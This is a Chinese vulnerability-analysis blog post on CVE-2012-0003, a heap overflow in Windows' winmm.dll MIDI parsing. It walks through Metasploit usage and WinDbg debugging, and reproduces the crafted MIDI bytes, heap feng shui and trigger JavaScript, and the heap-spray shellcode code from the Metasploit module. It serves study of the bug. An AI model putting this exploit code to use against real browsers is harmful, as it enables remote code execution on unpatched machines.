漏洞战争-cve-2012-0003

on under 二进制
7 minute read

0x00 about

这个漏洞是由于微软的多媒体库winmm.dll(c:\windows\system32\winmm.dll)在处理MIDI文件时,由于对数据的处理不当导致的
堆溢出,攻击者可以在网页中嵌入特殊的MIDI文件来远程执行任意代码

0x01 准备工作

1>使用msf中的exp
    msfconsole
    search cve-2012-0003
    use exploit/windows/browser/ms12_004_midi
    set uripath test.html
    set payload windows/exec
    set cmd calc.exe
        server started
        http://192.168.118.129:8080/test.html
    奇怪的是在系统中不存在test.html,但是访问上面生成的网马链接确实会中马,后来查看msf中的exp:ms12_004_midi.rb,里
    面生成html的代码为
        send_response(cli, html, {'Content-Type'=>'text/html'})
    send_response函数在msfapi中有如下用法

msfapi_send_response

    也即相当于msf内置webserver通过send_response函数发送html代码到客户端实现下面这个链接的访问
        http://192.168.118.129:8080/test.html
    这种方式比较特殊,可能msf的web是ruby的某个类似python下的Django的web框架开发的

0x02 调试分析

打开iexplore.exe
win+r:cmd
gflags -i iexplore.exe +hpa
    这里如果在windbg中设置!gflag +hpa不会成功,可能是winxp或是windbg的问题
windbg:f6附加iexplore.exe
!gflag
    0:016> !gflag
    Current NtGlobalFlag contents: 0x02000000
        hpa - Place heap allocations at ends of pages
g
ie打开http://192.168.118.129:8080/test.html
	(180.6f8): Access violation - code c0000005 (first chance)
	First chance exceptions are reported before any exception handling.
	This exception may be expected and handled.
	eax=00000419 ebx=00000073 ecx=0073b29f edx=00000000 esi=16a7f019 edi=16a7cf60
	eip=76b2d224 esp=3685fe80 ebp=3685fea0 iopl=0         nv up ei pl zr na pe nc
	cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
	WINMM!midiOutPlayNextPolyEvent+0x1ec:
	76b2d224 8a06            mov     al,byte ptr [esi]          ds:0023:16a7f019=??
    到这里只知道76b2d224处有内存访问异常,然而要想写出exp,还需要弄清参数传递过程,这个"堆溢出"cve的利用不是
    DWORD SHOOT,而是巧妙地构造html代码达到控制eip的目的,如果是利用堆溢出,一般会想到在上面访问异常时通过找到一个
    DWORD SHOOT的机会来覆盖异常处理相关的函数地址来控制eip,且要在可控数据复制到内存后找到堆分配调用

win+r:cmd
gflags -i iexplore.exe -hpa
bu WINMM!midiOutPlayNextPolyEvent
g
ie打开http://192.168.118.129:8080/test.html
    Breakpoint 0 hit
    eax=00000000 ebx=ffffffff ecx=7ffdf000 edx=00216790 esi=00216780 edi=002167d8
    eip=76b2d038 esp=0012e5b0 ebp=0012e5dc iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    WINMM!midiOutPlayNextPolyEvent:
    76b2d038 8bff            mov     edi,edi
    此时中断下来,再看看没有+hpa情况下的:WINMM!midiOutPlayNextPolyEvent+0x1ec会不会访问异常

bu WINMM!midiOutPlayNextPolyEvent+0x1ec
g
	Breakpoint 0 hit
	eax=00000251 ebx=0000007f ecx=007f2399 edx=00000000 esi=046de111 edi=025cd4f0
	eip=76b2d224 esp=0393fe80 ebp=0393fea0 iopl=0         nv up ei pl nz na po nc
	cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
	WINMM!midiOutPlayNextPolyEvent+0x1ec:
	76b2d224 8a06            mov     al,byte ptr [esi]          ds:0023:046de111=00
	此时中断下来,看到这里的[esi]与上面异常访问时的[esi]不同,考虑到启用页堆是在堆块后增加专门用于检测溢出的栅栏
	页,以便在堆溢出触及栅栏页时立刻触发异常,而+hpa和-hpa的情况下[esi]不同,应该不是由于页堆造成的[esi]的不同,猜
	测是由于WINMM!midiOutPlayNextPolyEvent+0x1ec处要执行多遍,而刚开始执行到WINMM!midiOutPlayNextPolyEvent+0x1ec
	时[esi]处是可以访问的,只是msf中设置好的exp数据在后面某一次程序执行到WINMM!midiOutPlayNextPolyEvent+0x1ec时
	[esi]产生了变化,并在+hpa时,[esi]属于页堆增加的栅栏页的地址范围才导致+hpa时在某次执行到
	WINMM!midiOutPlayNextPolyEvent+0x1ec时造成访问异常,为了验证这个想法,进行如下操作:

关闭windbg
重新打开ie
cmd:
	gflags -i iexplore.exe +hpa
打开windbg,f6加载iexplore.exe

bu WINMM!midiOutPlayNextPolyEvent+0x1ec
bu WINMM!midiOutPlayNextPolyEvent
g
ie打开http://192.168.118.129:8080/test.html
	Breakpoint 1 hit
	eax=00000000 ebx=ffffffff ecx=7ff9d000 edx=16840f70 esi=16840f60 edi=16840fb8
	eip=76b2d038 esp=365bfbe0 ebp=365bfc0c iopl=0         nv up ei pl zr na pe nc
	cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
	WINMM!midiOutPlayNextPolyEvent:
	76b2d038 8bff            mov     edi,edi
g
	Breakpoint 1 hit
	eax=00000000 ebx=ffffffff ecx=7ff98000 edx=16840f70 esi=16840f60 edi=16840fb8
	eip=76b2d038 esp=3690fea4 ebp=3690fedc iopl=0         nv up ei pl zr na pe nc
	cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
	WINMM!midiOutPlayNextPolyEvent:
	76b2d038 8bff            mov     edi,edi
	这里看到WINMM!midiOutPlayNextPolyEvent第一次运行时不会经过+0x1ec的位置,在+1ec之前就返回了
g
	Breakpoint 0 hit
	eax=00000251 ebx=0000007f ecx=007f2399 edx=00000000 esi=16842e51 edi=16840f60
	eip=76b2d224 esp=3690fe80 ebp=3690fea0 iopl=0         nv up ei pl nz na po nc
	cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
	WINMM!midiOutPlayNextPolyEvent+0x1ec:
	76b2d224 8a06            mov     al,byte ptr [esi]          ds:0023:16842e51=00
	这里看到第二次运行WINMM!midiOutPlayNextPolyEvent时第一次运行到+0x1ec处不会产生访问异常
g
	Breakpoint 0 hit
	eax=00000419 ebx=00000073 ecx=0073b29f edx=00000000 esi=16843019 edi=16840f60
	eip=76b2d224 esp=3690fe80 ebp=3690fea0 iopl=0         nv up ei pl zr na pe nc
	cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
	WINMM!midiOutPlayNextPolyEvent+0x1ec:
	76b2d224 8a06            mov     al,byte ptr [esi]          ds:0023:16843019=??
	这里看到第二次运行WINMM!midiOutPlayNextPolyEvent时第二次运行到+0x1ec处访问异常([esi]不识别),g即可验证
g
	(51c.674): Access violation - code c0000005 (first chance)
	First chance exceptions are reported before any exception handling.
	This exception may be expected and handled.
	eax=00000419 ebx=00000073 ecx=0073b29f edx=00000000 esi=16843019 edi=16840f60
	eip=76b2d224 esp=3690fe80 ebp=3690fea0 iopl=0         nv up ei pl zr na pe nc
	cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
	WINMM!midiOutPlayNextPolyEvent+0x1ec:
	76b2d224 8a06            mov     al,byte ptr [esi]          ds:0023:16843019=??
	这里可以看到的确是会触发异常的,也即+hpa时是第二次运行WINMM!midiOutPlayNextPolyEvent时第二次运行到+0x1ec处会
	访问异常,-hpa情况会怎样呢?进行如下操作验证:

关闭windbg,重新打开ie
gflags -i iexplore.exe -hpa
打开windbg,f6加载iexplore.exe
bu WINMM!midiOutPlayNextPolyEvent+0x1ec
bu WINMM!midiOutPlayNextPolyEvent
g
ie打开http://192.168.118.129:8080/test.html
	Breakpoint 1 hit
	eax=00000000 ebx=ffffffff ecx=7ffdf000 edx=0256aa28 esi=0256aa18 edi=0256aa70
	eip=76b2d038 esp=0012e5b0 ebp=0012e5dc iopl=0         nv up ei pl zr na pe nc
	cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
	WINMM!midiOutPlayNextPolyEvent:
	76b2d038 8bff            mov     edi,edi
g
	Breakpoint 1 hit
	eax=00000000 ebx=ffffffff ecx=7ff98000 edx=0256aa28 esi=0256aa18 edi=0256aa70
	eip=76b2d038 esp=0392fea4 ebp=0392fedc iopl=0         nv up ei pl zr na pe nc
	cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
	WINMM!midiOutPlayNextPolyEvent:
	76b2d038 8bff            mov     edi,edi
g
	Breakpoint 0 hit
	eax=00000251 ebx=0000007f ecx=007f2399 edx=00000000 esi=025cae59 edi=0256aa18
	eip=76b2d224 esp=0392fe80 ebp=0392fea0 iopl=0         nv up ei pl nz na po nc
	cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
	WINMM!midiOutPlayNextPolyEvent+0x1ec:
	76b2d224 8a06            mov     al,byte ptr [esi]          ds:0023:025cae59=00
g
	Breakpoint 0 hit
	eax=00000419 ebx=00000073 ecx=0073b29f edx=00000000 esi=025cb021 edi=0256aa18
	eip=76b2d224 esp=0392fe80 ebp=0392fea0 iopl=0         nv up ei pl zr na pe nc
	cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
	WINMM!midiOutPlayNextPolyEvent+0x1ec:
	76b2d224 8a06            mov     al,byte ptr [esi]          ds:0023:025cb021=00
	可以看到-hpa情况下在第二次运行WINMM!midiOutPlayNextPolyEvent时第二次运行到+0x1ec处是不会产生访问异常的,结合
	+hpa的功能(定位导致漏洞的代码或函数)可知在第二次运行WINMM!midiOutPlayNextPolyEvent时第二次运行到+0x1ec处的
	这句指令将导致产生"堆溢出"

u .
	WINMM!midiOutPlayNextPolyEvent+0x1ec:
	76b2d224 8a06            mov     al,byte ptr [esi]
	76b2d226 8ad0            mov     dl,al
	76b2d228 740c            je      WINMM!midiOutPlayNextPolyEvent+0x1fe (76b2d236)
	76b2d22a 80e2f0          and     dl,0F0h
	76b2d22d 80faf0          cmp     dl,0F0h
	76b2d230 742d            je      WINMM!midiOutPlayNextPolyEvent+0x227 (76b2d25f)
	76b2d232 0410            add     al,10h
	76b2d234 eb0a            jmp     WINMM!midiOutPlayNextPolyEvent+0x208 (76b2d240)
	看到的不多,扩大汇编指令范围

u eip-30 eip+30
	WINMM!midiOutPlayNextPolyEvent+0x1bc:
	76b2d1f4 e2f0            loop    WINMM!midiOutPlayNextPolyEvent+0x1ae (76b2d1e6)
	76b2d1f6 80fa90          cmp     dl,90h
	76b2d1f9 8855ff          mov     byte ptr [ebp-1],dl
	76b2d1fc 7405            je      WINMM!midiOutPlayNextPolyEvent+0x1cb (76b2d203)
	76b2d1fe 80fa80          cmp     dl,80h
	76b2d201 755c            jne     WINMM!midiOutPlayNextPolyEvent+0x227 (76b2d25f)
	76b2d203 0fb6550b        movzx   edx,byte ptr [ebp+0Bh]
	76b2d207 83e00f          and     eax,0Fh
	76b2d20a c1e007          shl     eax,7
	76b2d20d 03c2            add     eax,edx
	76b2d20f 99              cdq
	76b2d210 2bc2            sub     eax,edx
	76b2d212 d1f8            sar     eax,1
	76b2d214 807dff80        cmp     byte ptr [ebp-1],80h
	76b2d218 742a            je      WINMM!midiOutPlayNextPolyEvent+0x20c (76b2d244)
	76b2d21a 84db            test    bl,bl
	76b2d21c 7426            je      WINMM!midiOutPlayNextPolyEvent+0x20c (76b2d244)
	[***]76b2d21e 03f0            add     esi,eax
	76b2d220 f6450b01        test    byte ptr [ebp+0Bh],1
	[==============>eip]76b2d224 8a06            mov     al,byte ptr [esi]
	76b2d226 8ad0            mov     dl,al
	76b2d228 740c            je      WINMM!midiOutPlayNextPolyEvent+0x1fe (76b2d236)
	76b2d22a 80e2f0          and     dl,0F0h
	76b2d22d 80faf0          cmp     dl,0F0h
	76b2d230 742d            je      WINMM!midiOutPlayNextPolyEvent+0x227 (76b2d25f)
	76b2d232 0410            add     al,10h
	76b2d234 eb0a            jmp     WINMM!midiOutPlayNextPolyEvent+0x208 (76b2d240)
	76b2d236 80e20f          and     dl,0Fh
	76b2d239 80fa0f          cmp     dl,0Fh
	76b2d23c 7421            je      WINMM!midiOutPlayNextPolyEvent+0x227 (76b2d25f)
	[***]76b2d23e fec0            inc     al
	[***]76b2d240 8806            mov     byte ptr [esi],al
	76b2d242 eb1b            jmp     WINMM!midiOutPlayNextPolyEvent+0x227 (76b2d25f)
	76b2d244 f6450b01        test    byte ptr [ebp+0Bh],1
	76b2d248 8d1430          lea     edx,[eax+esi]
	76b2d24b 8a02            mov     al,byte ptr [edx]
	76b2d24d 7408            je      WINMM!midiOutPlayNextPolyEvent+0x21f (76b2d257)
	76b2d24f a8f0            test    al,0F0h
	76b2d251 740c            je      WINMM!midiOutPlayNextPolyEvent+0x227 (76b2d25f)
	76b2d253 2c10            sub     al,10h
	在当前eip处eax=0x419,而eip最近执行过的与eax相关的指令为76b2d21e处的add esi,eax,书中分析的是此处的esi来源于
	winmmAlloc(0x400)分配到的内存地址,而add esi,eax中的eax=0x419超过了分配的0x400导致访问到超出0x19大小处的内容
	,在eip下面的76b2d23e和76b2d240处可以看到,[esi]的值会加1,也即在超出0x19大小处的内存中的内容会加1,这就是这个
	漏洞的危害:导致内存某处的值+1,只要能够控制这个0x19处的内存的内容,就有机会利用这个漏洞.

	上面之所以会有76b2d240处的导致[esi]加1的出现,是要在mid文件中的某个音轨事件处写上"打开音符"对应的值
	(书中是0x0073b29f),如下||之间的内容

	00000000: 4d54 6864 0000 0006 0000 0001 0060 4d54  MThd.........`MT
	00000010: 726b 0000 0035 00ff 030d 4472 756d 7320  rk...5....Drums 
	00000020: 2020 2842 4229 0000 c928 00b9 0764 00b9    (BB)...(...d..
	00000030: 0a40 00b9 7b00 00b9 5b28 00b9 5d00 8550  .@..{...[(..]..P
	00000040: 9923 7f00|9fb2 7300|ff2f 000a            .#....s../..

	满足mid文件中对应位置处的值为"打开音符"后,会导致在当前eip环境下的[esi]加1,也即76b2d21e执行后的[esi]加1,也即
	winAlloc(0x400)分配到的内存地址+0x19处的内容加1,而利用方式中正好是利用相应内存中的值加1导致任意代码执行.书
	中通过ida的f5分析函数调用与参数传递分析得到上面的esi的源是winmmAlloc(0x400),也即在打开mid文件后会有一个这样
	的内存分配动作,于是构造出如下结构的内存空间使得winmmAlloc(0x400)分到的内存地址相对可控:
	|xxxxxxxx|oooooooo|xxxxxxxxx|ooooooooo|xxxxxxxxx|ooooooooo|...
	也即在mid文件被ie解析之前,先用js构造上面这样的内存格式,其中xxx表示有数据,ooo表示空闲内存,每个||之间的内存大
	小正好为0x400,这样在上面内存结构的基础上再由ie解析mid文件而产生winmmAlloc(0x400)的动作就会分配到上面的ooo的
	某个位置上,然后由于mid文件是特殊的构造好的会使winmmAlloc(0x400)分到的内存地址+0x19处的内存的内容加1的文件,
	于是ie解析mid文件后,将导致winmmAlloc(0x400)分到的某个ooo位置的右边一个xxx的位置上的偏移0x19中的值加1,当上面
	构造的特殊内存格式时构造好该位置内容的值+1会使得代码执行时,就可以利用这个漏洞了,而书中(msf)的利用方式是用下
	面的js来达到目的的:

	[msf中的构造特殊内存结构的由ruby写的js]
    def build_element(element_name, my_target, type="corruption")
      dst = Rex::Text.to_unescape([my_target['DispatchDst']].pack("V"))
      element = ''
  
      if my_target.name =~ /IE 8/
        max   = 63   # Number of attributes for IE 8
        index = 1    # Where we want to confuse the type
      else
        max   = 55   # Number of attributes for before IE 8
        index = 0    # Where we want to confuse the type
      end
  
      element << "var #{element_name} = document.createElement(\"select\")" + "\n"
  
      # Build attributes
      0.upto(max) do |i|
        case type
          when "corruption"
            obj = (i==index) ? "unescape(\"#{dst}\")" : "alert"
          else #leak
            obj = "alert"
        end
        element << "#{element_name}.w#{i.to_s} = #{obj}" + "\n"
      end
  
      return element
    end

    # Feng Shui and triggering Steps:
    # 1. Run the garbage collector before allocations
    # 2. Defragment the heap and alloc CImplAry objects in one step (objects size are IE version dependent)
    # 3. Make holes
    # 4. Let windows media play the crafted midi file and corrupt the heap
    # 5. Force the using of the confused tagVARIANT.
    def build_trigger(my_target, type="corruption")
      js_trigger = build_trigger_fn(my_target, type)
      select_element = build_element('selob', my_target, type)
  
      trigger = <<-JS
        var heap = new heapLib.ie();
        #{select_element}
        var clones = new Array(1000);
  
        function feng_shui() {
          heap.gc();
  
          var i = 0;
          while (i < 1000) {
            clones[i] = selob.cloneNode(true)
            i = i + 1;
          }
  
          var j = 0;
          while (j < 1000) {
            delete clones[j];
            CollectGarbage();
            j  = j + 2;
          }
        }
  
        feng_shui();
  
        #{js_trigger}
      JS
  
      trigger = heaplib(trigger, {:noobfu => true})
      return trigger
    end

	上面msf中的代码对应书中的如下代码:
	var selob=document.createElement("select")
	selob.w0=alert
	selob.w1=unescape("%u0c0c %u0c0c")
	selob.w2=alert
	selob.w3=alert
	selob.w4=alert
	selob.w5=alert
	...
	...
	selob.w63=alert

	var clones=new Array(1000)
	
	function feng_shui(){

	var i=0
	while (i<1000){
	clones[i]=selob.cloneNode(true)
	i=i+1
	}

	var j=0
	while(j<1000){
	delete clones[j]
	CollectGarbage()
	j=j+2
	}
	}

	上面为了达到某处内容值+1得到控制代码执行的目的使用的是:
	创建select元素selob,设置64个属性,其中w1为string类型,其余为object类型,然后创建一个数组用来存放1000个selob元
	素,然后间隔释放1000个selob元素中的500个元素,然后由于ie解析mid文件,运行了winmmAlloc(0x400),得到的分配地址位
	于某个释放的selob元素的位置,由于mid文件中某处已经构造好了音轨事件是"打开音符",于是会使得某个selob元素的+19
	位置的值+1,于是该selob元素的第二个属性w1由string变成object,然后由下面的js来触发这个变成object的属性相应函数
	的执行,触发js如下:

	function trigger(){
	var k=999
	while (k>0){
	if (typeof(clones[k].w1)=="string"){
	}else{
	clone[k].w1('come on!')
	}
	
	k=k-2
	}
	feng_shui()
	document.audio.Play()
	}

	上面的js中的函数trigger由下面的js调用执行(执行trigger函数在ie解析mid文件之后[也即在上面的
	document.audio.Play执行之后]):

	</script>
	<script for=audio event=PlayStateChange(oldState,newState)>
		if (oldState == 3 && newState == 0) {
			trigger();
		}
	</script>

	在js构造的string变成object的属性时执行的函数的地址为0x0c0c0c0c是堆喷射的利用地址,对应msf中的构造堆喷射内存
	布局的代码如下:

    def build_spray(my_target, leak=0)
  
      # Extract string based on target
      if my_target.name == 'IE 8 on Windows XP SP3'
        js_extract_str = "var block = shellcode.substring(2, (0x40000-0x21)/2);"
      else
        js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);"
      end
  
      # Build shellcode based on Rop requirement
      code = ''
      if my_target['Rop'] and datastore['MSHTML'].to_s != ''
        print_status("Generating ROP using info-leak: 0x#{leak.to_s(16)}")
        code << create_info_leak_rop(my_target, leak)
        code << payload.encoded
      elsif my_target['Rop'] and datastore['MSHTML'].to_s == ''
        print_status("Generating ROP using msvcrt")
        code << create_rop(my_target, payload.encoded)
      else
        code << payload.encoded
      end
  
      shellcode = Rex::Text.to_unescape(code)
  
      # 1. Create  big block of nops
      # 2. Compose one block which is nops + shellcode
      # 3. Repeat the block
      # 4. Extract string from the big block
      # 5. Spray
      spray = <<-JS
      var heap_obj = new heapLib.ie(0x10000);
  
      var code = unescape("#{shellcode}");
      var nops = unescape("%u0c0c%u0c0c");
  
      while (nops.length < 0x1000) nops+= nops;
      var shellcode =  nops.substring(0,0x800 - code.length) + code;
      while (shellcode.length < 0x40000) shellcode += shellcode;
  
      #{js_extract_str}
  
      heap_obj.gc();
      for (var i=0; i < 600; i++) {
        heap_obj.alloc(block);
      }
  
      JS
  
      spray = heaplib(spray, {:noobfu => true})
      return spray
    end
  	  		

0x03 小结

漏洞场景:
程序(iexplore.exe)解析特殊构造的文件(mid)时,在内存中可找到有内存分配动作(winmmAlloc),分配的内存大小一定
(0x400),如果解析特殊文件(mid中音轨事件为打开音符)会使程序在分配到的内存地址范围之外(0x419>0x400)有改变
大小动作(使0x419偏移处的值+1)

利用方法:
可以通过与这里相同的js的构造特殊内存结构的方法来利用这个改变动作来控制eip.

首发于安全客,版权归安全客所有,http://bobao.360.cn/learning/detail/3278.html

漏洞战争, 漏洞分析, 堆溢出
home
github
archive
category